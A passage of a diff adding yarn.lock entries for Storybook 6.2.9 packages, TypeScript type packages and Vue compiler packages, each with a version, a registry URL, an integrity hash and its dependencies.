+ "@babel/core" "^7.12.10"
+ "@babel/plugin-proposal-class-properties" "^7.12.1"
+ "@babel/plugin-proposal-decorators" "^7.12.12"
+ "@babel/plugin-proposal-export-default-from" "^7.12.1"
+ "@babel/plugin-proposal-nullish-coalescing-operator" "^7.12.1"
+ "@babel/plugin-proposal-object-rest-spread" "^7.12.1"
+ "@babel/plugin-proposal-optional-chaining" "^7.12.7"
+ "@babel/plugin-proposal-private-methods" "^7.12.1"
+ "@babel/plugin-syntax-dynamic-import" "^7.8.3"
+ "@babel/plugin-transform-arrow-functions" "^7.12.1"
+ "@babel/plugin-transform-block-scoping" "^7.12.12"
+ "@babel/plugin-transform-classes" "^7.12.1"
+ "@babel/plugin-transform-destructuring" "^7.12.1"
+ "@babel/plugin-transform-for-of" "^7.12.1"
+ "@babel/plugin-transform-parameters" "^7.12.1"
+ "@babel/plugin-transform-shorthand-properties" "^7.12.1"
+ "@babel/plugin-transform-spread" "^7.12.1"
+ "@babel/preset-env" "^7.12.11"
+ "@babel/preset-react" "^7.12.10"
+ "@babel/preset-typescript" "^7.12.7"
+ "@babel/register" "^7.12.1"
+ "@storybook/node-logger" "6.2.9"
+ "@storybook/semver" "^7.3.2"
+ "@types/glob-base" "^0.3.0"
+ "@types/micromatch" "^4.0.1"
+ "@types/node" "^14.0.10"
+ "@types/pretty-hrtime" "^1.0.0"
+ babel-loader "^8.2.2"
+ babel-plugin-macros "^3.0.1"
+ babel-plugin-polyfill-corejs3 "^0.1.0"
+ chalk "^4.1.0"
+ core-js "^3.8.2"
+ express "^4.17.1"
+ file-system-cache "^1.0.5"
+ find-up "^5.0.0"
+ fork-ts-checker-webpack-plugin "^6.0.4"
+ glob "^7.1.6"
+ glob-base "^0.3.0"
+ interpret "^2.2.0"
+ json5 "^2.1.3"
+ lazy-universal-dotenv "^3.0.1"
+ micromatch "^4.0.2"
+ pkg-dir "^5.0.0"
+ pretty-hrtime "^1.0.3"
+ resolve-from "^5.0.0"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+ webpack "4"
+
+"@storybook/core-events@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/core-events/-/core-events-6.2.9.tgz#4f12947cd15d1eb3c4109923657c012feef521cd"
+ integrity sha512-xQmbX/oYQK1QsAGN8hriXX5SUKOoTUe3L4dVaVHxJqy7MReRWJpprJmCpbAPJzWS6WCbDFfCM5kVEexHLOzJlQ==
+ dependencies:
+ core-js "^3.8.2"
+
+"@storybook/core-server@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/core-server/-/core-server-6.2.9.tgz#da8b7f043ff59ee6cd2e8631ba8d0f954fdc265a"
+ integrity sha512-DzihO73pj1Ro0Y4tq9hjw2mLMUYeSRPrx7CndCOBxcTHCKQ8Kd7Dee3wJ49t5/19V7TW1+4lYR59GAy73FeOAQ==
+ dependencies:
+ "@babel/core" "^7.12.10"
+ "@babel/plugin-transform-template-literals" "^7.12.1"
+ "@babel/preset-react" "^7.12.10"
+ "@storybook/addons" "6.2.9"
+ "@storybook/builder-webpack4" "6.2.9"
+ "@storybook/core-client" "6.2.9"
+ "@storybook/core-common" "6.2.9"
+ "@storybook/node-logger" "6.2.9"
+ "@storybook/semver" "^7.3.2"
+ "@storybook/theming" "6.2.9"
+ "@storybook/ui" "6.2.9"
+ "@types/node" "^14.0.10"
+ "@types/node-fetch" "^2.5.7"
+ "@types/pretty-hrtime" "^1.0.0"
+ "@types/webpack" "^4.41.26"
+ airbnb-js-shims "^2.2.1"
+ babel-loader "^8.2.2"
+ better-opn "^2.1.1"
+ boxen "^4.2.0"
+ case-sensitive-paths-webpack-plugin "^2.3.0"
+ chalk "^4.1.0"
+ cli-table3 "0.6.0"
+ commander "^6.2.1"
+ core-js "^3.8.2"
+ cpy "^8.1.1"
+ css-loader "^3.6.0"
+ detect-port "^1.3.0"
+ dotenv-webpack "^1.8.0"
+ express "^4.17.1"
+ file-loader "^6.2.0"
+ file-system-cache "^1.0.5"
+ find-up "^5.0.0"
+ fs-extra "^9.0.1"
+ global "^4.4.0"
+ html-webpack-plugin "^4.0.0"
+ ip "^1.1.5"
+ node-fetch "^2.6.1"
+ pnp-webpack-plugin "1.6.4"
+ pretty-hrtime "^1.0.3"
+ prompts "^2.4.0"
+ read-pkg-up "^7.0.1"
+ regenerator-runtime "^0.13.7"
+ resolve-from "^5.0.0"
+ serve-favicon "^2.5.0"
+ style-loader "^1.3.0"
+ telejson "^5.1.0"
+ terser-webpack-plugin "^3.1.0"
+ ts-dedent "^2.0.0"
+ url-loader "^4.1.1"
+ util-deprecate "^1.0.2"
+ webpack "4"
+ webpack-dev-middleware "^3.7.3"
+ webpack-virtual-modules "^0.2.2"
+
+"@storybook/core@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/core/-/core-6.2.9.tgz#e32e72b3bdb44384f5f0ff93ad1a483acd033b4b"
+ integrity sha512-pzbyjWvj0t8m0kR2pC9GQne4sZn7Y/zfcbm6/31CL+yhzOQjfJEj3n4ZFUlxikXqQJPg1aWfypfyaeaLL0QyuA==
+ dependencies:
+ "@storybook/core-client" "6.2.9"
+ "@storybook/core-server" "6.2.9"
+
+"@storybook/csf@0.0.1":
+ version "0.0.1"
+ resolved "https://registry.yarnpkg.com/@storybook/csf/-/csf-0.0.1.tgz#95901507dc02f0bc6f9ac8ee1983e2fc5bb98ce6"
+ integrity sha512-USTLkZze5gkel8MYCujSRBVIrUQ3YPBrLOx7GNk/0wttvVtlzWXAq9eLbQ4p/NicGxP+3T7KPEMVV//g+yubpw==
+ dependencies:
+ lodash "^4.17.15"
+
+"@storybook/node-logger@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/node-logger/-/node-logger-6.2.9.tgz#c67d8d7684514b8d00207502e8a9adda0ee750e5"
+ integrity sha512-ryRBChWZf1A5hOVONErJZosS25IdMweoMVFAUAcj91iC0ynoSA6YL2jmoE71jQchxEXEgkDeRkX9lR/GlqFGZQ==
+ dependencies:
+ "@types/npmlog" "^4.1.2"
+ chalk "^4.1.0"
+ core-js "^3.8.2"
+ npmlog "^4.1.2"
+ pretty-hrtime "^1.0.3"
+
+"@storybook/postinstall@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/postinstall/-/postinstall-6.2.9.tgz#3573ca86a27e9628defdd3a2c64721ee9db359ce"
+ integrity sha512-HjAjXZV+WItonC7lVrfrUsQuRFZNz1g1lE0GgsEK2LdC5rAcD/JwJxjiWREwY+RGxKL9rpWgqyxVQajpIJRjhA==
+ dependencies:
+ core-js "^3.8.2"
+
+"@storybook/router@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/router/-/router-6.2.9.tgz#547543031dd8330870bb6b473dcf7e51982e841c"
+ integrity sha512-7Bn1OFoItCl8whXRT8N1qp1Lky7kzXJ3aslWp5E8HcM8rxh4OYXfbaeiyJEJxBTGC5zxgY+tAEXHFjsAviFROg==
+ dependencies:
+ "@reach/router" "^1.3.4"
+ "@storybook/client-logger" "6.2.9"
+ "@types/reach__router" "^1.3.7"
+ core-js "^3.8.2"
+ fast-deep-equal "^3.1.3"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ memoizerific "^1.11.3"
+ qs "^6.10.0"
+ ts-dedent "^2.0.0"
+
+"@storybook/semver@^7.3.2":
+ version "7.3.2"
+ resolved "https://registry.yarnpkg.com/@storybook/semver/-/semver-7.3.2.tgz#f3b9c44a1c9a0b933c04e66d0048fcf2fa10dac0"
+ integrity sha512-SWeszlsiPsMI0Ps0jVNtH64cI5c0UF3f7KgjVKJoNP30crQ6wUSddY2hsdeczZXEKVJGEn50Q60flcGsQGIcrg==
+ dependencies:
+ core-js "^3.6.5"
+ find-up "^4.1.0"
+
+"@storybook/source-loader@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/source-loader/-/source-loader-6.2.9.tgz#ac6b314e48044acad5318d237275b24e684edb9f"
+ integrity sha512-cx499g7BG2oeXvRFx45r0W0p2gKEy/e88WsUFnqqfMKZBJ8K0R/lx5DI0l1hq+TzSrE6uGe0/uPlaLkJNIro7g==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/csf" "0.0.1"
+ core-js "^3.8.2"
+ estraverse "^5.2.0"
+ global "^4.4.0"
+ loader-utils "^2.0.0"
+ lodash "^4.17.20"
+ prettier "~2.2.1"
+ regenerator-runtime "^0.13.7"
+
+"@storybook/theming@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/theming/-/theming-6.2.9.tgz#16bf40180861f222c7ed1d80abd5d1e3cb315660"
+ integrity sha512-183oJW7AD7Fhqg5NT4ct3GJntwteAb9jZnQ6yhf9JSdY+fk8OhxRbPf7ov0au2gYACcGrWDd9K5pYQsvWlP5gA==
+ dependencies:
+ "@emotion/core" "^10.1.1"
+ "@emotion/is-prop-valid" "^0.8.6"
+ "@emotion/styled" "^10.0.27"
+ "@storybook/client-logger" "6.2.9"
+ core-js "^3.8.2"
+ deep-object-diff "^1.1.0"
+ emotion-theming "^10.0.27"
+ global "^4.4.0"
+ memoizerific "^1.11.3"
+ polished "^4.0.5"
+ resolve-from "^5.0.0"
+ ts-dedent "^2.0.0"
+
+"@storybook/ui@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/ui/-/ui-6.2.9.tgz#25cdf7ae2ef38ab337570c2377fda1da999792e7"
+ integrity sha512-jq2xmw3reIqik/6ibUSbNKGR+Xvr9wkAEwexiOl+5WQ5BeYJpw4dmDmsFQf+SQuWaSEUUPolbzkakRQM778Kdg==
+ dependencies:
+ "@emotion/core" "^10.1.1"
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/router" "6.2.9"
+ "@storybook/semver" "^7.3.2"
+ "@storybook/theming" "6.2.9"
+ "@types/markdown-to-jsx" "^6.11.3"
+ copy-to-clipboard "^3.3.1"
+ core-js "^3.8.2"
+ core-js-pure "^3.8.2"
+ downshift "^6.0.15"
+ emotion-theming "^10.0.27"
+ fuse.js "^3.6.1"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ markdown-to-jsx "^6.11.4"
+ memoizerific "^1.11.3"
+ polished "^4.0.5"
+ qs "^6.10.0"
+ react-draggable "^4.4.3"
+ react-helmet-async "^1.0.7"
+ react-sizeme "^3.0.1"
+ regenerator-runtime "^0.13.7"
+ resolve-from "^5.0.0"
+ store2 "^2.12.0"
+
+"@storybook/vue@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/vue/-/vue-6.2.9.tgz#f93476e564dd96e7992e3fc7ee9b58a5854a5b98"
+ integrity sha512-mAXY1+/zn5gR+qDr6OzEj5AZgLlsw1qdarvQLf7fFH078oTPTQ7c/WzFUp3TaHd2M+ijGD8lb/HHBZqg37NoJA==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/core" "6.2.9"
+ "@storybook/core-common" "6.2.9"
+ "@types/webpack-env" "^1.16.0"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ react "16.14.0"
+ react-dom "16.14.0"
+ read-pkg-up "^7.0.1"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+ ts-loader "^8.0.14"
+ vue-docgen-api "^4.34.2"
+ vue-docgen-loader "^1.5.0"
+ webpack "4"
+
+"@types/braces@*":
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/@types/braces/-/braces-3.0.0.tgz#7da1c0d44ff1c7eb660a36ec078ea61ba7eb42cb"
+ integrity sha512-TbH79tcyi9FHwbyboOKeRachRq63mSuWYXOflsNO9ZyE5ClQ/JaozNKl+aWUq87qPNsXasXxi2AbgfwIJ+8GQw==
+
+"@types/color-convert@^2.0.0":
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/@types/color-convert/-/color-convert-2.0.0.tgz#8f5ee6b9e863dcbee5703f5a517ffb13d3ea4e22"
+ integrity sha512-m7GG7IKKGuJUXvkZ1qqG3ChccdIM/qBBo913z+Xft0nKCX4hAU/IxKwZBU4cpRZ7GS5kV4vOblUkILtSShCPXQ==
+ dependencies:
+ "@types/color-name" "*"
+
+"@types/color-name@*":
+ version "1.1.1"
+ resolved "https://registry.yarnpkg.com/@types/color-name/-/color-name-1.1.1.tgz#1c1261bbeaa10a8055bbc5d8ab84b7b2afc846a0"
+ integrity sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==
+
+"@types/glob-base@^0.3.0":
+ version "0.3.0"
+ resolved "https://registry.yarnpkg.com/@types/glob-base/-/glob-base-0.3.0.tgz#a581d688347e10e50dd7c17d6f2880a10354319d"
+ integrity sha1-pYHWiDR+EOUN18F9byiAoQNUMZ0=
+
+"@types/glob@*", "@types/glob@^7.1.1":
+ version "7.1.3"
+ resolved "https://registry.yarnpkg.com/@types/glob/-/glob-7.1.3.tgz#e6ba80f36b7daad2c685acd9266382e68985c183"
+ integrity sha512-SEYeGAIQIQX8NN6LDKprLjbrd5dARM5EXsd8GI/A5l0apYI1fGMWgPHSe4ZKL4eozlAyI+doUE9XbYS4xCkQ1w==
+ dependencies:
+ "@types/minimatch" "*"
+ "@types/node" "*"
+
+"@types/graceful-fs@^4.1.2":
+ version "4.1.5"
+ resolved "https://registry.yarnpkg.com/@types/graceful-fs/-/graceful-fs-4.1.5.tgz#21ffba0d98da4350db64891f92a9e5db3cdb4e15"
+ integrity sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==
+ dependencies:
+ "@types/node" "*"
+
+"@types/hast@^2.0.0":
+ version "2.3.1"
+ resolved "https://registry.yarnpkg.com/@types/hast/-/hast-2.3.1.tgz#b16872f2a6144c7025f296fb9636a667ebb79cd9"
+ integrity sha512-viwwrB+6xGzw+G1eWpF9geV3fnsDgXqHG+cqgiHrvQfDUW5hzhCyV7Sy3UJxhfRFBsgky2SSW33qi/YrIkjX5Q==
+ dependencies:
+ "@types/unist" "*"
+
+"@types/html-minifier-terser@^5.0.0":
+ version "5.1.1"
+ resolved "https://registry.yarnpkg.com/@types/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz#3c9ee980f1a10d6021ae6632ca3e79ca2ec4fb50"
+ integrity sha512-giAlZwstKbmvMk1OO7WXSj4OZ0keXAcl2TQq4LWHiiPH2ByaH7WeUzng+Qej8UPxxv+8lRTuouo0iaNDBuzIBA==
+
+"@types/is-function@^1.0.0":
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/@types/is-function/-/is-function-1.0.0.tgz#1b0b819b1636c7baf0d6785d030d12edf70c3e83"
+ integrity sha512-iTs9HReBu7evG77Q4EC8hZnqRt57irBDkK9nvmHroiOIVwYMQc4IvYvdRgwKfYepunIY7Oh/dBuuld+Gj9uo6w==
+
+"@types/istanbul-lib-coverage@*", "@types/istanbul-lib-coverage@^2.0.0":
+ version "2.0.3"
+ resolved "https://registry.yarnpkg.com/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.3.tgz#4ba8ddb720221f432e443bd5f9117fd22cfd4762"
+ integrity sha512-sz7iLqvVUg1gIedBOvlkxPlc8/uVzyS5OwGz1cKjXzkl3FpL3al0crU8YGU1WoHkxn0Wxbw5tyi6hvzJKNzFsw==
+
+"@types/istanbul-lib-report@*":
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.0.tgz#c14c24f18ea8190c118ee7562b7ff99a36552686"
+ integrity sha512-plGgXAPfVKFoYfa9NpYDAkseG+g6Jr294RqeqcqDixSbU34MZVJRi/P+7Y8GDpzkEwLaGZZOpKIEmeVZNtKsrg==
+ dependencies:
+ "@types/istanbul-lib-coverage" "*"
+
+"@types/istanbul-reports@^3.0.0":
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/@types/istanbul-reports/-/istanbul-reports-3.0.0.tgz#508b13aa344fa4976234e75dddcc34925737d821"
+ integrity sha512-nwKNbvnwJ2/mndE9ItP/zc2TCzw6uuodnF4EHYWD+gCQDVBuRQL5UzbZD0/ezy1iKsFU2ZQiDqg4M9dN4+wZgA==
+ dependencies:
+ "@types/istanbul-lib-report" "*"
+
+"@types/json-schema@^7.0.4", "@types/json-schema@^7.0.5", "@types/json-schema@^7.0.6":
+ version "7.0.7"
+ resolved "https://registry.yarnpkg.com/@types/json-schema/-/json-schema-7.0.7.tgz#98a993516c859eb0d5c4c8f098317a9ea68db9ad"
+ integrity sha512-cxWFQVseBm6O9Gbw1IWb8r6OS4OhSt3hPZLkFApLjM8TEXROBuQGLAH2i2gZpcXdLBIrpXuTDhH7Vbm1iXmNGA==
+
+"@types/markdown-to-jsx@^6.11.3":
+ version "6.11.3"
+ resolved "https://registry.yarnpkg.com/@types/markdown-to-jsx/-/markdown-to-jsx-6.11.3.tgz#cdd1619308fecbc8be7e6a26f3751260249b020e"
+ integrity sha512-30nFYpceM/ZEvhGiqWjm5quLUxNeld0HCzJEXMZZDpq53FPkS85mTwkWtCXzCqq8s5JYLgM5W392a02xn8Bdaw==
+ dependencies:
+ "@types/react" "*"
+
+"@types/mdast@^3.0.0":
+ version "3.0.3"
+ resolved "https://registry.yarnpkg.com/@types/mdast/-/mdast-3.0.3.tgz#2d7d671b1cd1ea3deb306ea75036c2a0407d2deb"
+ integrity sha512-SXPBMnFVQg1s00dlMCc/jCdvPqdE4mXaMMCeRlxLDmTAEoegHT53xKtkDnzDTOcmMHUfcjyf36/YYZ6SxRdnsw==
+ dependencies:
+ "@types/unist" "*"
+
+"@types/micromatch@^4.0.1":
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/@types/micromatch/-/micromatch-4.0.1.tgz#9381449dd659fc3823fd2a4190ceacc985083bc7"
+ integrity sha512-my6fLBvpY70KattTNzYOK6KU1oR1+UCz9ug/JbcF5UrEmeCt9P7DV2t7L8+t18mMPINqGQCE4O8PLOPbI84gxw==
+ dependencies:
+ "@types/braces" "*"
+
+"@types/minimatch@*":
+ version "3.0.4"
+ resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.4.tgz#f0ec25dbf2f0e4b18647313ac031134ca5b24b21"
+ integrity sha512-1z8k4wzFnNjVK/tlxvrWuK5WMt6mydWWP7+zvH5eFep4oj+UkrfiJTRtjCeBXNpwaA/FYqqtb4/QS4ianFpIRA==
+
+"@types/node-fetch@^2.5.7":
+ version "2.5.10"
+ resolved "https://registry.yarnpkg.com/@types/node-fetch/-/node-fetch-2.5.10.tgz#9b4d4a0425562f9fcea70b12cb3fcdd946ca8132"
+ integrity sha512-IpkX0AasN44hgEad0gEF/V6EgR5n69VEqPEgnmoM8GsIGro3PowbWs4tR6IhxUTyPLpOn+fiGG6nrQhcmoCuIQ==
+ dependencies:
+ "@types/node" "*"
+ form-data "^3.0.0"
+
+"@types/node@*":
+ version "15.6.1"
+ resolved "https://registry.yarnpkg.com/@types/node/-/node-15.6.1.tgz#32d43390d5c62c5b6ec486a9bc9c59544de39a08"
+ integrity sha512-7EIraBEyRHEe7CH+Fm1XvgqU6uwZN8Q7jppJGcqjROMT29qhAuuOxYB1uEY5UMYQKEmA5D+5tBnhdaPXSsLONA==
+
+"@types/node@^14.0.10":
+ version "14.17.1"
+ resolved "https://registry.yarnpkg.com/@types/node/-/node-14.17.1.tgz#5e07e0cb2ff793aa7a1b41deae76221e6166049f"
+ integrity sha512-/tpUyFD7meeooTRwl3sYlihx2BrJE7q9XF71EguPFIySj9B7qgnRtHsHTho+0AUm4m1SvWGm6uSncrR94q6Vtw==
+
+"@types/normalize-package-data@^2.4.0":
+ version "2.4.0"
+ resolved "https://registry.yarnpkg.com/@types/normalize-package-data/-/normalize-package-data-2.4.0.tgz#e486d0d97396d79beedd0a6e33f4534ff6b4973e"
+ integrity sha512-f5j5b/Gf71L+dbqxIpQ4Z2WlmI/mPJ0fOkGGmFgtb6sAu97EPczzbS3/tJKxmcYDj55OX6ssqwDAWOHIYDRDGA==
+
+"@types/npmlog@^4.1.2":
+ version "4.1.2"
+ resolved "https://registry.yarnpkg.com/@types/npmlog/-/npmlog-4.1.2.tgz#d070fe6a6b78755d1092a3dc492d34c3d8f871c4"
+ integrity sha512-4QQmOF5KlwfxJ5IGXFIudkeLCdMABz03RcUXu+LCb24zmln8QW6aDjuGl4d4XPVLf2j+FnjelHTP7dvceAFbhA==
+
+"@types/overlayscrollbars@^1.12.0":
+ version "1.12.0"
+ resolved "https://registry.yarnpkg.com/@types/overlayscrollbars/-/overlayscrollbars-1.12.0.tgz#98456caceca8ad73bd5bb572632a585074e70764"
+ integrity sha512-h/pScHNKi4mb+TrJGDon8Yb06ujFG0mSg12wIO0sWMUF3dQIe2ExRRdNRviaNt9IjxIiOfnRr7FsQAdHwK4sMg==
+
+"@types/parse-json@^4.0.0":
+ version "4.0.0"
+ resolved "https://registry.yarnpkg.com/@types/parse-json/-/parse-json-4.0.0.tgz#2f8bb441434d163b35fb8ffdccd7138927ffb8c0"
+ integrity sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==
+
+"@types/parse5@^5.0.0":
+ version "5.0.3"
+ resolved "https://registry.yarnpkg.com/@types/parse5/-/parse5-5.0.3.tgz#e7b5aebbac150f8b5fdd4a46e7f0bd8e65e19109"
+ integrity sha512-kUNnecmtkunAoQ3CnjmMkzNU/gtxG8guhi+Fk2U/kOpIKjIMKnXGp4IJCgQJrXSgMsWYimYG4TGjz/UzbGEBTw==
+
+"@types/pretty-hrtime@^1.0.0":
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/@types/pretty-hrtime/-/pretty-hrtime-1.0.0.tgz#c5a2d644a135e988b2932f99737e67b3c62528d0"
+ integrity sha512-xl+5r2rcrxdLViAYkkiLMYsoUs3qEyrAnHFyEzYysgRxdVp3WbhysxIvJIxZp9FvZ2CYezh0TaHZorivH+voOQ==
+
+"@types/prop-types@*":
+ version "15.7.3"
+ resolved "https://registry.yarnpkg.com/@types/prop-types/-/prop-types-15.7.3.tgz#2ab0d5da2e5815f94b0b9d4b95d1e5f243ab2ca7"
+ integrity sha512-KfRL3PuHmqQLOG+2tGpRO26Ctg+Cq1E01D2DMriKEATHgWLfeNDmq9e29Q9WIky0dQ3NPkd1mzYH8Lm936Z9qw==
+
+"@types/qs@^6.9.5":
+ version "6.9.6"
+ resolved "https://registry.yarnpkg.com/@types/qs/-/qs-6.9.6.tgz#df9c3c8b31a247ec315e6996566be3171df4b3b1"
+ integrity sha512-0/HnwIfW4ki2D8L8c9GVcG5I72s9jP5GSLVF0VIXDW00kmIpA6O33G7a8n59Tmh7Nz0WUC3rSb7PTY/sdW2JzA==
+
+"@types/reach__router@^1.3.7":
+ version "1.3.7"
+ resolved "https://registry.yarnpkg.com/@types/reach__router/-/reach__router-1.3.7.tgz#de8ab374259ae7f7499fc1373b9697a5f3cd6428"
+ integrity sha512-cyBEb8Ef3SJNH5NYEIDGPoMMmYUxROatuxbICusVRQIqZUB85UCt6R2Ok60tKS/TABJsJYaHyNTW3kqbpxlMjg==
+ dependencies:
+ "@types/react" "*"
+
+"@types/react-syntax-highlighter@11.0.5":
+ version "11.0.5"
+ resolved "https://registry.yarnpkg.com/@types/react-syntax-highlighter/-/react-syntax-highlighter-11.0.5.tgz#0d546261b4021e1f9d85b50401c0a42acb106087"
+ integrity sha512-VIOi9i2Oj5XsmWWoB72p3KlZoEbdRAcechJa8Ztebw7bDl2YmR+odxIqhtJGp1q2EozHs02US+gzxJ9nuf56qg==
+ dependencies:
+ "@types/react" "*"
+
+"@types/react@*":
+ version "17.0.8"
+ resolved "https://registry.yarnpkg.com/@types/react/-/react-17.0.8.tgz#fe76e3ba0fbb5602704110fd1e3035cf394778e3"
+ integrity sha512-3sx4c0PbXujrYAKwXxNONXUtRp9C+hE2di0IuxFyf5BELD+B+AXL8G7QrmSKhVwKZDbv0igiAjQAMhXj8Yg3aw==
+ dependencies:
+ "@types/prop-types" "*"
+ "@types/scheduler" "*"
+ csstype "^3.0.2"
+
+"@types/scheduler@*":
+ version "0.16.1"
+ resolved "https://registry.yarnpkg.com/@types/scheduler/-/scheduler-0.16.1.tgz#18845205e86ff0038517aab7a18a62a6b9f71275"
+ integrity sha512-EaCxbanVeyxDRTQBkdLb3Bvl/HK7PBK6UJjsSixB0iHKoWxE5uu2Q/DgtpOhPIojN0Zl1whvOd7PoHs2P0s5eA==
+
+"@types/source-list-map@*":
+ version "0.1.2"
+ resolved "https://registry.yarnpkg.com/@types/source-list-map/-/source-list-map-0.1.2.tgz#0078836063ffaf17412349bba364087e0ac02ec9"
+ integrity sha512-K5K+yml8LTo9bWJI/rECfIPrGgxdpeNbj+d53lwN4QjW1MCwlkhUms+gtdzigTeUyBr09+u8BwOIY3MXvHdcsA==
+
+"@types/tapable@^1", "@types/tapable@^1.0.5":
+ version "1.0.7"
+ resolved "https://registry.yarnpkg.com/@types/tapable/-/tapable-1.0.7.tgz#545158342f949e8fd3bfd813224971ecddc3fac4"
+ integrity sha512-0VBprVqfgFD7Ehb2vd8Lh9TG3jP98gvr8rgehQqzztZNI7o8zS8Ad4jyZneKELphpuE212D8J70LnSNQSyO6bQ==
+
+"@types/uglify-js@*":
+ version "3.13.0"
+ resolved "https://registry.yarnpkg.com/@types/uglify-js/-/uglify-js-3.13.0.tgz#1cad8df1fb0b143c5aba08de5712ea9d1ff71124"
+ integrity sha512-EGkrJD5Uy+Pg0NUR8uA4bJ5WMfljyad0G+784vLCNUkD+QwOJXUbBYExXfVGf7YtyzdQp3L/XMYcliB987kL5Q==
+ dependencies:
+ source-map "^0.6.1"
+
+"@types/unist@*", "@types/unist@^2.0.0", "@types/unist@^2.0.2", "@types/unist@^2.0.3":
+ version "2.0.3"
+ resolved "https://registry.yarnpkg.com/@types/unist/-/unist-2.0.3.tgz#9c088679876f374eb5983f150d4787aa6fb32d7e"
+ integrity sha512-FvUupuM3rlRsRtCN+fDudtmytGO6iHJuuRKS1Ss0pG5z8oX0diNEw94UEL7hgDbpN94rgaK5R7sWm6RrSkZuAQ==
+
+"@types/webpack-env@^1.16.0":
+ version "1.16.0"
+ resolved "https://registry.yarnpkg.com/@types/webpack-env/-/webpack-env-1.16.0.tgz#8c0a9435dfa7b3b1be76562f3070efb3f92637b4"
+ integrity sha512-Fx+NpfOO0CpeYX2g9bkvX8O5qh9wrU1sOF4g8sft4Mu7z+qfe387YlyY8w8daDyDsKY5vUxM0yxkAYnbkRbZEw==
+
+"@types/webpack-sources@*":
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/@types/webpack-sources/-/webpack-sources-2.1.0.tgz#8882b0bd62d1e0ce62f183d0d01b72e6e82e8c10"
+ integrity sha512-LXn/oYIpBeucgP1EIJbKQ2/4ZmpvRl+dlrFdX7+94SKRUV3Evy3FsfMZY318vGhkWUS5MPhtOM3w1/hCOAOXcg==
+ dependencies:
+ "@types/node" "*"
+ "@types/source-list-map" "*"
+ source-map "^0.7.3"
+
+"@types/webpack@^4.41.26", "@types/webpack@^4.41.8":
+ version "4.41.29"
+ resolved "https://registry.yarnpkg.com/@types/webpack/-/webpack-4.41.29.tgz#2e66c1de8223c440366469415c50a47d97625773"
+ integrity sha512-6pLaORaVNZxiB3FSHbyBiWM7QdazAWda1zvAq4SbZObZqHSDbWLi62iFdblVea6SK9eyBIVp5yHhKt/yNQdR7Q==
+ dependencies:
+ "@types/node" "*"
+ "@types/tapable" "^1"
+ "@types/uglify-js" "*"
+ "@types/webpack-sources" "*"
+ anymatch "^3.0.0"
+ source-map "^0.6.0"
+
+"@types/yargs-parser@*":
+ version "20.2.0"
+ resolved "https://registry.yarnpkg.com/@types/yargs-parser/-/yargs-parser-20.2.0.tgz#dd3e6699ba3237f0348cd085e4698780204842f9"
+ integrity sha512-37RSHht+gzzgYeobbG+KWryeAW8J33Nhr69cjTqSYymXVZEN9NbRYWoYlRtDhHKPVT1FyNKwaTPC1NynKZpzRA==
+
+"@types/yargs@^15.0.0":
+ version "15.0.13"
+ resolved "https://registry.yarnpkg.com/@types/yargs/-/yargs-15.0.13.tgz#34f7fec8b389d7f3c1fd08026a5763e072d3c6dc"
+ integrity sha512-kQ5JNTrbDv3Rp5X2n/iUu37IJBDU2gsZ5R/g1/KHOOEc5IKfUFjXT6DENPGduh08I/pamwtEq4oul7gUqKTQDQ==
+ dependencies:
+ "@types/yargs-parser" "*"
+
+"@vue/compiler-core@3.0.11":
+ version "3.0.11"
+ resolved "https://registry.yarnpkg.com/@vue/compiler-core/-/compiler-core-3.0.11.tgz#5ef579e46d7b336b8735228758d1c2c505aae69a"
+ integrity sha512-6sFj6TBac1y2cWCvYCA8YzHJEbsVkX7zdRs/3yK/n1ilvRqcn983XvpBbnN3v4mZ1UiQycTvOiajJmOgN9EVgw==
+ dependencies:
+ "@babel/parser" "^7.12.0"
+ "@babel/types" "^7.12.0"
+ "@vue/shared" "3.0.11"
+ estree-walker "^2.0.1"
+ source-map "^0.6.1"
+
+"@vue/compiler-dom@3.0.11", "@vue/compiler-dom@^3.0.7":
+ version "3.0.11"
